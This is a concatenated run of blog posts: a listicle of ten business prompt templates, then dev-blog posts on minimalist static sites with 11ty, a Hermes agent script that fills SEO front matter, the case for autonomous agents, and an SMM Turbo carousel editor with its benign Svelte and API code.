The real, measurable AI time savings from switching to standardized templates run from 5 to 10 hours per employee per week. Instead of drowning in operational busywork, you get to focus on strategic growth.

10 Ready-Made Prompt Templates for Daily Business Tasks

Below are ready-to-use instructions. Copy the text and replace the variables inside square brackets - like [YOUR NICHE] or [PRODUCT DESCRIPTION] - with your real data.

📢 Content and Social Media (Templates #1-3)

#1. Instagram / LinkedIn Post with a Unique Value Proposition

You are an expert SMM manager specializing in [YOUR NICHE] content.
Write an engaging Instagram/LinkedIn post for my brand [BRAND NAME].
Context: [BRIEFLY DESCRIBE THE PRODUCT OR SERVICE - 2-3 sentences].
Target audience: [DESCRIBE THE AUDIENCE - age, job title, main pain point].
The post must include: a strong hook in the first line (no generic openers),
a clear problem → solution → result structure, and a specific call to action.
Output format: plain text, 3 short paragraphs, no hashtags in the body.

#2. Generating 5 Content Ideas for Your Niche Blog

You are a senior content strategist with 10+ years in digital marketing.
Generate 5 unique article or video ideas for my blog on the topic of [YOUR NICHE].
Requirements for each idea:
- An attention-grabbing, SEO-friendly title.
- A 2-3 sentence description of what the content covers and why the audience needs it.
- The primary content format (how-to guide, expert opinion, data-driven breakdown, case study).
Target audience: [DESCRIBE YOUR READER].
Focus on practical, actionable content — no theory for theory's sake.

#3. Email Newsletter with Personalization

You are an expert email marketer specializing in retention and loyalty campaigns.
Write a personalized email newsletter for my audience.
Product / service: [WHAT ARE YOU SELLING OR ANNOUNCING].
The email's goal: [e.g. drive repeat purchases / announce a new feature / re-engage inactive subscribers].
Tone: [friendly and casual / professional and authoritative / urgent and time-sensitive].
The email must include: a subject line (max 50 characters), a personalized opening
with {First_Name}, 3 short content blocks, and a single clear CTA button.
Output format: plain text with labels for each section.

💬 Client Communication (Templates #4-6)

#4. Responding to a Negative Review

You are an experienced Customer Success Manager known for turning angry customers
into loyal advocates.
Write a professional public response to this negative review: "[PASTE THE REVIEW TEXT]".
My business: [WHAT YOU DO - 1 sentence].
Situation context: [Was the complaint valid? Was it a one-off issue or systemic?].
The response must: acknowledge the problem without being defensive,
offer a concrete next step (refund, replacement, a direct call),
and close with a genuine brand-values statement.
Tone: empathetic but confident. Length: 3-5 sentences.

#5. Cold B2B Outreach Email

You are a B2B sales expert specializing in cold outreach and deal closing.
Write a cold outreach email to a potential client.
My company: [NAME], we help [TARGET SEGMENT] achieve [KEY RESULT] via [YOUR SOLUTION].
Recipient's role: [JOB TITLE, e.g. Head of Marketing at a SaaS company].
Known pain point of this audience: [WHAT KEEPS THEM UP AT NIGHT].
The email must: open with a hyper-relevant hook (no "I hope this email finds you well"),
include one concrete result from a similar client (with a number),
and end with one low-commitment CTA (e.g. "Worth a 15-minute call this week?").
Max length: 120 words. No corporate buzzwords.

#6. FAQ Response Template for a Chatbot

You are a UX writer and customer support specialist.
Write 5 clear, friendly FAQ answers for a chatbot knowledge base.
My product / service: [DESCRIBE WHAT YOU OFFER].
Questions to answer:
1. [QUESTION 1]
2. [QUESTION 2]
3. [QUESTION 3]
4. [QUESTION 4]
5. [QUESTION 5]
Requirements for each answer: max 3 sentences, plain conversational language,
no technical jargon, end with a soft CTA ("Need more help? Chat with us anytime.").

📊 Analysis and Strategy (Templates #7-10)

#7. SWOT Analysis of Your Product

You are a business analyst and strategic consultant with expertise in [YOUR INDUSTRY].
Conduct a full SWOT analysis of my product / service.
Product description: [DETAILED DESCRIPTION - what it does, for whom, price point].
Main competitors: [LIST 2-3 COMPETITORS BY NAME].
My known strengths: [WHAT YOU DO BETTER THAN ANYONE].
My known weaknesses: [BE HONEST - the model needs real input to give real output].
Output format: a structured table with four quadrants (S / W / O / T),
3–5 concrete bullet points per quadrant. No filler. No generic observations.

#8. Competitor Analysis Across 5 Key Dimensions

You are a senior market research analyst.
Analyze my competitor [COMPETITOR NAME / WEBSITE URL] across these 5 dimensions:
1. Their core value proposition and positioning (how they describe themselves).
2. Content and marketing strategy (channels, content types, posting frequency).
3. Audience sentiment: what customers love about them (based on public reviews).
4. Clear weaknesses and gaps (where we can take market share).
5. Pricing strategy assessment.
Output format: strict bullet list - no intro text, no filler sentences.

#9. Writing a Detailed Technical Brief for Contractors

You are an experienced IT Project Manager.
Write a professional, detailed technical brief for a contractor: [JOB TITLE, e.g. UI/UX Designer].
Project goal and scope: [DESCRIBE THE TASK IN DETAIL].
Budget: [AMOUNT]. Deadline: [DATE].
Structure the brief with these mandatory sections:
- Project overview and business objective.
- Input materials (what we provide to the contractor at kickoff).
- Technical requirements and constraints for the final deliverable.
- Success metrics and KPIs (how we'll evaluate the work).
- Milestones and reporting schedule.

#10. Meta-Prompt (A Prompt That Writes Prompts)

This is your ultimate automation weapon. If you don't know how to frame a task for an AI - make it write the perfect brief for itself.

You are a world-leading expert in prompt engineering and LLM system architecture.
Your task: create a perfect, stable, high-performance prompt for my use case.
I want the AI to act as [DESIRED ROLE, e.g. Financial Analyst for e-commerce].
My end goal: [CLEARLY DESCRIBE THE RESULT YOU WANT].
Work through this step-by-step algorithm:
1. Deeply analyze my initial request and goal.
2. Ask me 3–5 targeted clarifying questions about my business context,
   audience, and constraints - to make the final prompt as precise as possible.
3. Only after I answer your questions, generate the final, copy-ready business template
   following our golden engineering formula:
   "Role + Context + Specific Task + Output Format".

✅ Checklist: How to Validate a Prompt Before You Send It

Make it a habit to run every new prompt through this quick engineering checklist before sending:

🔲 Is a clear role assigned? (Instead of "write a text", use "you are an experienced IT lawyer specializing in SaaS contracts.")
🔲 Is the task specific? (Rule: one message = one business goal. Never bundle multiple tasks.)
🔲 Is the output format defined? (Table, bullet list, plain text, code without comments, exactly 3 paragraphs.)
🔲 Is enough context provided? (Product specifics, real pricing, target market geography, a detailed customer persona.)
🔲 Have you included examples of a good result? (Few-Shot Prompting: show the AI 1-2 examples of outputs you actually like.)
🔲 Are hard constraints specified? (Clichés to avoid, topics to stay away from, character or word count limits.)

- 🔲 Is the Tone of Voice defined? (Formal and corporate, friendly and energetic, empathetic and reassuring - pick one.)

🗂️ How to Store Prompts and Never Lose the Best Ones

Any serious meta-prompting practice becomes worthless without a single, organized system for saving your work. If your manager spends 10 minutes scrolling through old chat history looking for "that one prompt that worked" - your team is still leaking time.

Prompt Library in Notion: Structure for Teams and Solo Founders

The simplest approach: a centralized Prompt Library in Notion (or a shared Google Sheet) with these columns:

Template Name - e.g., "Negative Review Response Script"
Prompt Body - full text with [ ] brackets for quick variable substitution
Category / Department - Marketing, Support, HR, Sales
Best Model - where it runs most reliably (GPT-4o, Claude Sonnet 4, or Gemini 2.5 Pro)
Status - In Development / Active / Needs Update ### ChatGPT, Claude, or Gemini - Where to Test Your Templates

Each model has a different architectural strength. Here's a quick breakdown:

Model	Best for
Claude Sonnet 4	Copywriting, long briefs, natural human-sounding prose, B2B and newsletter content
ChatGPT (GPT-4o)	Structured data analysis, large tables, logical reasoning, SWOT and KPI tasks
Gemini 2.5 Pro	Real-time web research, Google Docs / Sheets native integration

Frequently Asked Questions

What is prompt engineering?
The practice of designing, testing, and refining text instructions for large language models to consistently produce accurate, high-quality output - without constant manual corrections.

What's the difference between ChatGPT and Claude for business tasks?
ChatGPT performs better on complex logical reasoning, structured data, code, and external integrations. Claude produces more flexible, creative, and natural-sounding prose - it adapts better to a brand's Tone of Voice and excels at content marketing.

How should a team manage prompts?
A shared Prompt Library in Notion or Google Sheets, organized by department, with standardized variable brackets and a note on which model each template is optimized for.

Start With One Prompt Today - and Track the Time

AI isn't just another overhyped tech toy - it's your most reliable digital employee, ready to work 24/7. But like any skilled team member, it needs a clear, well-written brief.

Your challenge: pick one template from the list above, plug in your real project variables, and test it right now. Drop a comment below and tell us exactly how many minutes it saved you. 👇

Ethics of speed: minimalism and statics in development

Aribu js — Sat, 23 May 2026 14:04:15 +0000

Ethics of Speed: Why Minimalism in Development and Static Sites are the Best Manifestation of Respect for the User

Hello, bro! 👋 Let's be honest: modern web development has gone astray. We've reached a technological absurdity where a browser is forced to download megabytes of code to load a simple text page, and a server has to make dozens of resource-intensive requests.

For some reason, it has become the norm in the industry to use heavy JavaScript and bloated frameworks where a simple HTML document would suffice. But have you ever thought about how much time, nerves, and battery charge your visitors waste every day on this digital chaos? ⏳

Today, we're going to talk about what site speed ethics are. You'll learn why digital minimalism in development is not just a trendy fad or a geek's whim, but the only correct path to the future. We'll break down how returning to the roots (yes, those same static sites) and uncompromising clean code allow you to create lightning-fast projects that truly respect the user.

Are you ready to change your approach to architecture and shed the unnecessary ballast from your projects? Then let's go! 🚀

The Epidemic of Bloated Code: Why the Internet has Become Slow?

Do you remember the times when sites opened instantly? Nowadays, to simply read some text, your browser often has to download several megabytes of code, parse heavy JavaScript, and execute a bunch of background scripts. 🤯

We've surrounded ourselves with frameworks that make development more convenient for the programmer, but unbearable for the user. Complex SPAs (Single Page Applications) force smartphone processors to work at full capacity, draining the battery. Instead of simply serving a ready-made document, the server generates it "on the fly," accesses databases, and waits for responses from third-party services.

But do we really need this cumbersome mechanism to convey information? Real loading speed optimization starts not with compressing images or minifying CSS, but with removing the unnecessary at the project concept level.

We also recommend reading: Pressable MCP i Gemini CLI: AI-managed hosting in Linux

User Time is the Highest Value

When someone clicks on your link, they trust you with their most valuable resource - time. Forcing them to watch a loading animation (spinner) is simply disrespect. 🛑

This is where site speed ethics come into play. It's a philosophy that says: the developer must take all complex calculations upon themselves so that the visitor gets the result instantly. The page must appear on the screen faster than a person can blink.

Static Sites and 11ty: A Breath of Fresh Air

How do we return this lightning-fast speed? The answer lies in returning to common sense - static sites and modern SSG generators like 11ty (Eleventy). ⚡

Instead of using resource-intensive server-side rendering (SSR) during each visit, 11ty assembles the entire project only once - at the build stage. When a visitor enters the blog, the server simply serves a ready, clean HTML file.

Such clean architecture makes your resource not only reactive but also absolutely secure. No database - nothing to hack! You get maximum protection and zero delay. 🛡️

Artificial Intelligence and the Web: Where is the Line of Reason?

It's trendy now to attach AI to everything. Some developers go to the point of technical absurdity: they force the user's smartphone to make a heavy API request to a neural network with billions of parameters just to... recognize if a plastic cup in a photo is crushed. 🤦‍♂️

They call this "ecological innovation." But let's think like engineers. Pushing megabytes of JSON data through the ocean to cloud clusters that burn kilowatts of electricity for a single trivial task is mockery - both of the planet and the user.

This is what this contrast looks like at the code level:

In the first case, we have huge latency, network load, and a crazy carbon footprint. In the second - a clean, instant result.

We also recommend reading: SMM Turbo: Hybrid AI-editor for Instagram carousels

Autonomous AI Agents: The Real Magic "Under the Hood"

Does this mean we have to give up on the power of AI? Not at all! The secret lies in where exactly this intelligence works. Respect for the visitor means that all heavy calculations are taken on by the developer.

Instead of loading the user's browser, we use autonomous AI agents (like our hybrid agent Hermes) in a closed loop. This digital worker does all the dirty work in the shadows: analyzes trends, writes code, forms SEO structure.

Then, the fast static site generator 11ty comes into play. It takes the results of the AI's work and assembles them into perfectly optimized pages even before the user follows the link. The visitor doesn't wait for the neural network to "think" or for the database to load. They get the information at the speed of light. ⚡

This is real code ecology - zero load on the client device and maximum value. 🌿

Real UX Design is Imperceptible Speed

We're used to thinking that cool UX design is a lot of smooth animation, beautiful 3D effects, and interfaces that react to every micro-movement. But in reality, the best interface is one that doesn't make the user wait even a second. Instant page response gives a person a feeling of complete control.

When your site weighs 20 kilobytes instead of 5 megabytes, it loads just as fast in the center of a metropolis with 5G as it does on the road with weak 3G connectivity. By practicing digital minimalism in development, you create an inclusive web accessible to everyone, regardless of the power of their gadget.

Remember: every extra script you add to the frontend is a tax on the user's attention. Respect your audience, clean up interfaces from ballast.

Ecology They Don't Talk About

Real code ecology is measured not by beautiful slogans in social media, but by real milliwatts of saved energy. When millions of users open optimized static sites every day, the total savings in processor time on servers and smartphones becomes colossal.

Clean, pre-compiled HTML doesn't force data center processors to heat up. It's simply served instantly through a CDN. This is what a responsible approach to development looks like in 2026.

Manifesto of Clean Code: Instead of a Conclusion

Bro, being a developer today is not just about being able to connect third-party APIs and copy ready-made solutions. It's about responsibility to those who will use your product.

Artificial intelligence gives us superpowers. It allows us to automate routine, write complex logic, and optimize processes. But don't let technology control your architecture. Carry the complexity on the server, leave the client with clean and transparent static content.

When you write clean code, refuse heavy JavaScript in favor of lightweight solutions, and build projects with respect for other people's time - you change the industry for the better. Make your web light, fast, and ethical. Your users will definitely appreciate it with lightning-fast loading!

Maintain cleanliness in code and architecture. See you in the next materials! 💻🔥

Hermes Agent: Autonomous SEO engineer for 11ty

Aribu js — Wed, 20 May 2026 07:59:37 +0000

This is a submission for the Hermes Agent Challenge.

What I Built: The End of Manual SEO Era

Let's be honest: we all love the speed and security of the Jamstack architecture. Writing articles in Markdown for generators like Eleventy (11ty) is a pleasure. But there's one thing that every developer-blogger hates. It's routine. 😩

Writing an article is only 50% of the work. Then hell begins: you need to come up with the perfect title, squeeze the essence into 150 characters of description for the Google snippet, and write a short ai_summary. And what if you have hundreds of them?

That's why I decided to go beyond the usual ChatGPT assistants. I created an autonomous digital worker based on the Hermes framework. 🤖

My script doesn't just "generate text" in a browser window. It's deeply integrated into my workflow "in a meaningful way". This agent:

Scans the local directory with hundreds of Markdown files on its own.
Analyzes the content of each article.
Generates perfectly structured JSON with missing SEO metadata.
Directly overwrites the Front Matter in files, breaking nothing.

Demo: Autonomy in Action

Instead of building heavy and unnecessary graphical interfaces (GUI) that only consume resources, my demo project is a clean, lightning-fast console automation. It's an invisible back-office worker that manages content right in your terminal.

When you launch the agent, it scans the entire blog in milliseconds, detects "problematic" articles without meta tags, connects to cloud intelligence, and autonomously closes all SEO gaps. The work that previously took hours of manual copy-paste is now done in one click.

(Below in the article, we will detail the terminal logs and the final result, but for now, let's take a look under the hood of this system).

Code: Architecture and Technology Stack

The entire project is built on the principles of idempotence and fault tolerance. This means that the script can be run as many times in a row as you like: it will never create duplicate content, spoil existing tags, or simply continue working from where it left off.

Here is the complete source code and showcase repository for this challenge:
👉 Hermes Jamstack Showcase Repository

To better understand how a local file on your computer communicates with the cloud, take a look at this architectural scheme:

My Tech Stack: Why These Tools?

To create Hermes, I chose the lightest, but time-tested development technologies:

Node.js (Runtime): A Scandinavian hammer for working with the file system and asynchronous requests. Provides instant directory scanning.
Eleventy (11ty): Our favorite, super-fast static site generator. Since it works with pure Markdown, it became an ideal environment for automation.
Gray-Matter (Parser): A special library that can break down a Markdown file into two parts: an object with metadata (Front Matter) and pure article text. Without it, the AI would simply get tangled up in markup.
Gemini 2.5 Flash API (Cloud Brain): The new generation of models from Google. I chose the Flash version because it has phenomenal generation speed, strict adherence to prompt instructions, and a penny's worth of request cost.

How I Used Hermes Agent: Three Pillars of Autonomy

To integrate the agent into the workflow "in a meaningful way", I had to solve three main engineering problems. I didn't want the script to just chatter - I needed a predictable digital worker.

Here are the three pillars that my Hermes Agent stands on.

1. Structured Data (Taming Chaos)

The main problem with all LLMs is that they love to "talk". If you ask an AI to write an SEO description, it might respond: "Of course, here's your description: ...". For an automated system, such text is a failure and a broken site build.

So I used strict prompt engineering, forcing Gemini 2.5 Flash to return a strictly typed JSON object.

As you can see in the code above, we're not just asking for JSON, we're also additionally cleaning the response from markdown markup (`json), which neural networks love to add. This guarantees that the JSON.parse() method will work without errors. 🎯

2. Idempotence: The Main Rule of a Doctor - "Do No Harm"

Imagine that you accidentally ran the script twice. A bad script would generate duplicates or spoil your manual work. My autonomous agent adheres to the principle of idempotence. 🛡️

Before wasting API credits, Hermes uses gray-matter to parse the Markdown file and check for the presence of SEO fields:

The agent works like a smart filter. If an article already has a perfect description and generated ai_summary - it instantly skips it. If the fields are empty or too short (less than 50 characters) - it precisely fills them in, assembles the file back, and safely saves it to disk.

We also recommend reading: Pressable MCP i Gemini CLI: AI-managed hosting in Linux

3. Fault Tolerance: API Error Handling

During a massive audit of hundreds of files, I encountered the fact that even Google servers sometimes can't handle the load and return a 503 Service Unavailable error.

An ordinary script would "fall" at this point, and the developer would have to search for which file exactly broke. But I have an autonomous agent! It must survive. 🦾

I added a try...catch block directly inside the processing cycle. If Hermes receives a refusal from the servers, it doesn't stop the entire program. It outputs a red warning to the console, understands that the servers are overloaded, makes an emergency pause for 15 seconds (so the API can "breathe"), and calmly moves on to the next file.

This makes the architecture absolutely fault-tolerant. You can run the script on 1000 articles, go drink coffee, and be sure that it will complete the work. ☕

We also recommend reading: SMM Turbo: Hybrid AI editor for Instagram carousels

Final: Mass SEO Audit in Action

This is what the real triumph of automation looks like. When I run the node hermes.js command in the terminal, my autonomous SEO engineer comes to life.

It scans the entire blog directory in milliseconds. Pay attention to the log: it recognizes articles where SEO is already set up and outputs a [SKIP] message. But as soon as it finds a file with an empty description or missing ai_summary, it connects to cloud intelligence, generates JSON, and writes it.

The yellow letters M (Modified) in the left panel of VS Code are the best proof that the script actually physically overwrote files on disk. No manual copy-paste between browser tabs. No broken tags in Front Matter. Just pure efficiency. ✨

Conclusion: Delegate Processes, Not Tasks

Creating this project for the Hermes Agent Challenge completely changed my understanding of artificial intelligence. We are moving from the era of "AI as a chatbot" to the era of "AI as an autonomous employee". 🚀

You no longer need to spend hours filling in meta tags manually. You can delegate AI an entire process, creating such fault-tolerant local scripts. Your Jamstack blog can live its own life and autonomously optimize itself for search engines.

Ready to launch your first agent? 🤖🚀
Jump to the official Hermes Agent Framework page. Explore the documentation, download the source code, and join the autonomous open AI revolution!
👉 OPEN OFFICIAL HERMES WEBSITE

If you want to feel more automation magic, be sure to test our free SMM Turbo service. It's a hybrid AI editor that takes over the routine of creating viral Instagram carousels! 🔥

And how do you use AI in your Jamstack projects? Are you ready to give an autonomous agent access to your local files? Write your thoughts in the comments, it'll be cool to discuss this with the community! 👇

The End of Chatbots: Why Autonomous Agents are the Future of Dev

Aribu js — Mon, 18 May 2026 16:53:14 +0000

This is a submission for the Hermes Agent Challenge.

From Chatbots to Digital Workers: The Anatomy of Autonomy with Hermes Agent

Let's be honest: modern AI tools have reached their ceiling. We're used to the "write a prompt - get text" format. It was cool in 2023, but today developers need more.

We need not just "conversationalists" that generate code or articles. We need digital workers that can go online on their own, read documentation, run a script in the terminal, and fix their own mistakes.

And that's where autonomous agents, such as the Hermes framework, come in. They change the rules of the game. Instead of blindly guessing the answer, they can plan, reflect, and use external tools.

In this article, we'll break down the anatomy of AI agents. You'll learn how they differ from classic large language models (LLM) and how this technology will impact the future of development. Are you ready to take a look under the hood of the new generation of intelligence? Then let's go!

Ordinary LLM vs Agents: What's the Difference?

To understand the power of frameworks like Hermes, let's compare two approaches. Classic large language models (like basic ChatGPT) work like a very smart, but "blind" encyclopedia.

You give it a prompt - the model generates text based on what it learned months ago. It can't check the weather, run a script on your computer, or fix a bug in the generated code on its own.

Autonomous agents work differently. This is a superstructure over the language model that gives it "hands" and "eyes". The agent gets access to external tools (API, search engines, terminal) and can interact with the real world.

Why Hermes Agent specifically? There are heavy solutions like AutoGPT on the market, but they often consume too many resources and are complicated to set up. Hermes offers a lightweight, flexible architecture that a developer can fully control and adapt to their needs.

We also recommend reading: SMM Turbo: Hybrid AI Editor for Instagram Carousels

Multi-Stage Thinking: How an AI Agent Makes Decisions

The real magic of autonomy is hidden in a process called the Reasoning Loop. Instead of giving an instant answer, the agent "thinks".

When a user sets a complex task, Hermes launches a continuous cycle that consists of several steps:

Thought: The agent analyzes the query and decides what exactly it needs to do. For example: "I need to find the latest web design trends".
Action: The agent chooses the right tool from its arsenal (e.g., Google search).
Observation: The agent receives the search results, reads them, and makes conclusions.

If there's enough information - it forms a final answer. If not - the cycle repeats again, but with a new understanding of the context. This allows the system to correct its own mistakes in real-time!

The Magic of Tools: How AI Gets "Hands"

Ordinary models are locked in their training dataset. Agents use Tools. These are special functions that allow AI to safely interact with the outside world and your computer.

How does it work under the hood? When an agent decides it needs additional information, it generates a special JSON request. It records its thought, chooses the right action, and passes search parameters:

The best part is that expanding Hermes Agent's capabilities is extremely simple. You don't need to be an expert in machine learning.

The developer simply writes a standard JavaScript or TypeScript function (e.g., accessing a database or searching local files) and registers it in the system. Then the AI itself understands when and how to apply it.

Hybrid Architecture: Autonomy for Weak PCs

Now about the most interesting thing - real hardware. Running a heavy open model (even with 7-8 billion parameters) on a laptop with 8 GB of RAM is a real pain for a developer.

Your operating system (e.g.,Linux Fedora, not to mention Windows😁) will start to slow down, and the code editor will constantly "freeze". But we have an elegant and efficient solution - hybrid architecture.

The essence of the approach is geniusly simple. The Hermes Agent script itself (which weighs a few megabytes) runs locally on your computer. It has full access to the terminal and monitors your file system.

But to "think" and make decisions, it instantly turns to super-fast cloud models (e.g., Groq or Gemini API) via API.

This gives an ideal combination: zero load on your RAM, cosmic speed of the cloud, and full, secure control over local processes.

We also recommend reading: Pressable MCP i Gemini CLI: AI-Managed Hosting in Linux

Conclusion: The Era of Open Agents

We are on the threshold of fundamental changes in development. Open frameworks like Hermes democratize artificial intelligence. They turn ordinary "conversationalists" into full-fledged digital engineers.

Instead of spending hours on routine coding or writing automation scripts, you can delegate this to an autonomous system. The future belongs to those who learn to manage agents, not just write them prompts.

Want to experiment with this technology firsthand and launch your first agent? Visit the official Hermes Agent website.
Read the documentation and join the open AI revolution!

And what do you think, can such autonomous agents completely replace junior developers in the next two years? Share your thoughts in the comments below!👇

SMM Turbo: Hybrid AI Instagram Editor via Gemma 4

Aribu js — Sat, 16 May 2026 20:25:25 +0000

This is a submission for the Gemma 4 Challenge: Build with Gemma 4

What I Built

I developed SMM Turbo - a blazing-fast, completely free graphic editor for creating Instagram carousels that works directly in the browser.

Instead of traditional <canvas>, SMM Turbo uses a DOM-based architecture with Svelte 5 runes for state management. But its real superpower is the Hybrid AI Co-Pilot, which combines local in-browser neural networks (for background removal) and cloud-based LLMs to completely automate the SMM workflow.

Demo

Live Project: https://smm.shcho-i-yak.pp.ua

Code

GitHub Repository: https://github.com/bodikinf/smm-turbo-open (Make sure to open it!)

How I Used Gemma 4

To create a truly intelligent "SMM Strategist", I integrated the Gemma 4 31B model via the Google Generative Language API.

Why Gemma 4 31B? Generating a cohesive, conversion-focused 5-slide marketing carousel (Hook, Pain, Solution, Proof, CTA) requires deep reasoning and high context retention. Smaller models often lose the marketing context, but the 31B model handles complex instructional prompts flawlessly, delivering ready-to-publish strategies.

Technical Challenge Overcome:
Because the 31B model takes around 12-15 seconds to generate a highly detailed marketing structure, it consistently hit the strict 10-second serverless timeout limit on my hosting (resulting in 502 Bad Gateway errors).

To solve this, I bypassed heavy official SDKs and implemented a native fetch request within an Edge Function (runtime: 'edge'). This extended the timeout limit to 30 seconds and drastically reduced the memory footprint, allowing the Gemma 4 31B model to unleash its full reasoning capabilities without timeouts.

But let's start from the beginning. Here is the full story of how SMM Turbo was born and how it works under the hood...

Hello. 👋 If you work in marketing, run your own business, or develop your personal brand, you know how much time creating visual content takes. Photoshop is too "heavy", expensive, and complicated for daily tasks. And popular online services like Canva are becoming increasingly overloaded with unnecessary features and require a paid subscription for the simplest tools.

That's why I decided to take matters into my own hands. I developed my own graphic editor for creating Instagram carousels, which works directly in the browser, uses the power of artificial intelligence, and is completely free.

Today, I'll tell you the story of creating SMM Turbo. We'll take a look "under the hood", explore the magic of the latest Svelte 5, break down in-browser artificial intelligence, and learn how to create a cool tool for SMM specialists from scratch. Let's go. 🚀

🛠 Why I decided to write my own graphic editor for creating Instagram carousels?

Creating carousels for Instagram is a very specific task. You need to keep the overall visual style in mind, seamlessly move elements between slides, and quickly export everything in the correct format with optimized weight.

Most existing solutions didn't give me the speed I needed. So, I formed three main requirements for my future product:

Lightning-fast speed. No long uploads or lags when dragging layers. The interface must respond instantly.
AI assistant at hand. I wanted AI to not just be "for show", but really help generate ideas, texts, and cut out the background right on the canvas.
Free and accessible. The tool must work in any browser without installing "heavy" software on a PC.

To implement this ambitious plan, I chose the SvelteKit framework (with the latest Svelte 5). Its compiled nature and new reactive "runes" allowed me to create an extremely complex interface without losing productivity.

We also recommend reading: Overview of the Svelte 5 ecosystem: What's new and why you should switch

🏗 Architecture: DOM instead of Canvas

If you've ever been interested in developing graphic editors, you know that the standard approach is to use HTML5 <canvas> or special libraries like Fabric.js or Konva. But I took a different, somewhat rebellious path 🐧.

In SMM Turbo, the working area is ordinary HTML elements (<div>, <span>, <img>) that are positioned absolutely using x and y coordinates.

Why so? Because CSS is a superpower! 🦸‍♂️

Rendering through DOM allowed me to implement incredibly complex typography in just a few lines of code, instead of writing complex math for drawing pixels on Canvas.

Here's what regular CSS gives you:

Gradient text: Using -webkit-background-clip: text.
Stroke (outline): Works through -webkit-text-stroke.
Shadows and glow: Elementary drop-shadow and text-shadow.
Text bending along a circle: Implemented by breaking the text into separate <span> elements using transform: rotate(...) translateY(...).

But how do you save the finished picture then? That's where the html-to-image library comes in.

Here's what my script for exporting to +page.svelte looks like, which takes a "screenshot" of the DOM node, packs the slides into an archive using JSZip, and converts them "on the fly":

const options = { 
    width: editor.canvasWidth, 
    height: editor.canvasHeight, 
    style: { transform: 'scale(1)', transformOrigin: 'top left' }, 
    pixelRatio: 1, 
    cacheBust: true 
};

// Draw Canvas from DOM
const canvas = await toCanvas(node, options);
// Save in the selected format (WebP/JPEG) with the desired quality
const dataUrl = canvas.toDataURL(editor.exportFormat, qualityDecimal);

capturedImages.push(dataUrl);

// Pack all slides into a ZIP archive
const zip = new JSZip();
capturedImages.forEach((img, i) => {
    const base64Data = img.split(',')[1];
    zip.file(`smm-slide-${i + 1}.webp`, base64Data, {base64: true});
});
const content = await zip.generateAsync({type: "blob"});

Thanks to this, we get perfect text quality, flexibility of CSS filters, and fast export of the entire carousel.

🌍 Multilingualism with Runes: On-the-Fly Localization

As the project expanded, there was a need to add an English version of the interface and landing page to attract an international audience. In the React or Vue ecosystem, you'd typically install heavy libraries like i18next for this. But in Svelte 5, we can do it much more elegantly thanks to "runes".

I created a simple localization service based on the reactive $state, which instantly repaints the entire interface when the language changes, without resetting any unsaved changes on the carousel canvas:

// src/lib/i18n/i18n.svelte.ts
class I18nService {
    locale = $state('uk'); // Reactive language state

    t(key: string) {
        return translations[this.locale][key] || key;
    }

    setLocale(newLocale: string) {
        this.locale = newLocale;
        localStorage.setItem('smm_lang', newLocale);
    }
}
export const i18n = new I18nService();

Because locale is a $state, any component using i18n.t('key') will instantly update as soon as the language changes. This also made it painless to set up automatic language detection: if a person enters the editor from an English or German browser, the script immediately reads navigator.language and automatically turns on the English version of the interface.

🪄 AI Magic: In-Browser background removal

A cool graphic editor for creating Instagram carousels in 2026 can't exist without built-in artificial intelligence.

Usually, services ask for money for background removal, because they send your photo to remote powerful servers with GPU. I decided to make this process local and free!

I used the incredible @imgly/background-removal library. This is a real revolution! The neural network is loaded in WebAssembly (WASM) format directly into your browser.

async function handleRemoveBackground() {
    isRemovingBg = true;
    try {
        const imgly = await import('@imgly/background-removal');
        const removeBg = imgly.removeBackground;

        // AI works directly on the user's device
        const imageBlob = await removeBg(selected.content);
        const url = URL.createObjectURL(imageBlob);

        selected.content = url;
        editor.saveState();
    } catch (error) {
        alert("Failed to remove background.");
    } finally {
        isRemovingBg = false;
    }
}

You just select a photo, click the "Remove Background" button, and your computer perfectly cuts out the main object in a couple of seconds. No limits, subscriptions, or transferring confidential photos to third-party servers.

We also recommend reading: How to integrate AI into your web application using Groq API

🤖 Hybrid AI Co-Pilot: Combining Gemma 4 and Llama 3.1

In addition to working with images, I added a powerful text AI assistant. But during development, I faced a classic problem: quick tasks (like idea generation) require minimal latency, while deep analytics (strategy development) require powerful "heavy" models that take longer to think.

Therefore, I created a Hybrid Engine that automatically routes requests:

🧙‍♂️ Alchemist, 🎨 Artist, and 💬 To Canvas (Cloud Fast Mode) run through the ultra-fast API from Groq powered by the Llama 3.1 8B model. This model is perfect for micro-tasks. You ask for a clickbait headline, the AI instantly gives you 3 options, and you add the text directly to the current slide with one click.

🧠 SMM Strategist (Cloud Reasoning Mode) is our "heavy artillery". It works directly through the Google API powered by the cutting-edge Gemma 4 31B model. This mode conducts a deep analysis of the topic and provides a ready-made 5-slide carousel structure (Hook, Pain, Solution, Proof, CTA).

Bypassing Free Server Limits (Edge Functions)

To give the "Strategist" enough time to think so the Netlify server wouldn't drop the connection due to the standard 10-second timeout (the infamous 502 Bad Gateway error), I moved this API route to the Edge architecture, which allows up to 30 seconds for execution. I also completely abandoned the "heavy" official SDKs in favor of native fetch.

Here is the real backend code (src/routes/api/ai/+server.ts) that drives this hybrid magic:

import { json } from '@sveltejs/kit';
import { GROQ_API_KEY, GOOGLE_AI_API_KEY } from '$env/static/private'; 

// Switching to Edge runtime to bypass Netlify's 10-second limit
export const config = { runtime: 'edge' };

export async function POST({ request }) {
    try {
        const { prompt, mode, locale } = await request.json();

        // ==========================================
        // 🧠 STRATEGIST MODE: Direct call to Gemma 4 31B
        // ==========================================
        if (mode === 'strategist') {
            const systemInstruction = locale === 'en'
                ? `You are a Senior SMM Strategist. Create a detailed 5-slide Instagram carousel structure based on the user's topic: "${prompt}".\nFormat:\nSlide 1 (Hook): [Headline & Visual]\nSlide 2 (Pain): [Problem]\nSlide 3 (Solution): [How to solve]\nSlide 4 (Proof): [Benefits]\nSlide 5 (CTA): [Action]\nLanguage: English. Be concise.`
                : `Ти — Senior SMM-стратег. Розроби структуру Instagram-каруселі на 5 слайдів для теми: "${prompt}".\nФормат:\nСлайд 1 (Гачок): [Заголовок та візуал]\nСлайд 2 (Біль): [Проблема]\nСлайд 3 (Рішення): [Як вирішити]\nСлайд 4 (Докази/Користь): [Переваги]\nСлайд 5 (Заклик): [Дія]\nВідповідай ВИКЛЮЧНО українською. Будь лаконічним.`;

            const googleRes = await fetch(`https://generativelanguage.googleapis.com/v1beta/models/gemma-4-31b-it:generateContent?key=${GOOGLE_AI_API_KEY}`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({
                    contents: [{ role: "user", parts: [{ text: systemInstruction }] }],
                    generationConfig: { temperature: 0.7, maxOutputTokens: 1024 }
                })
            });

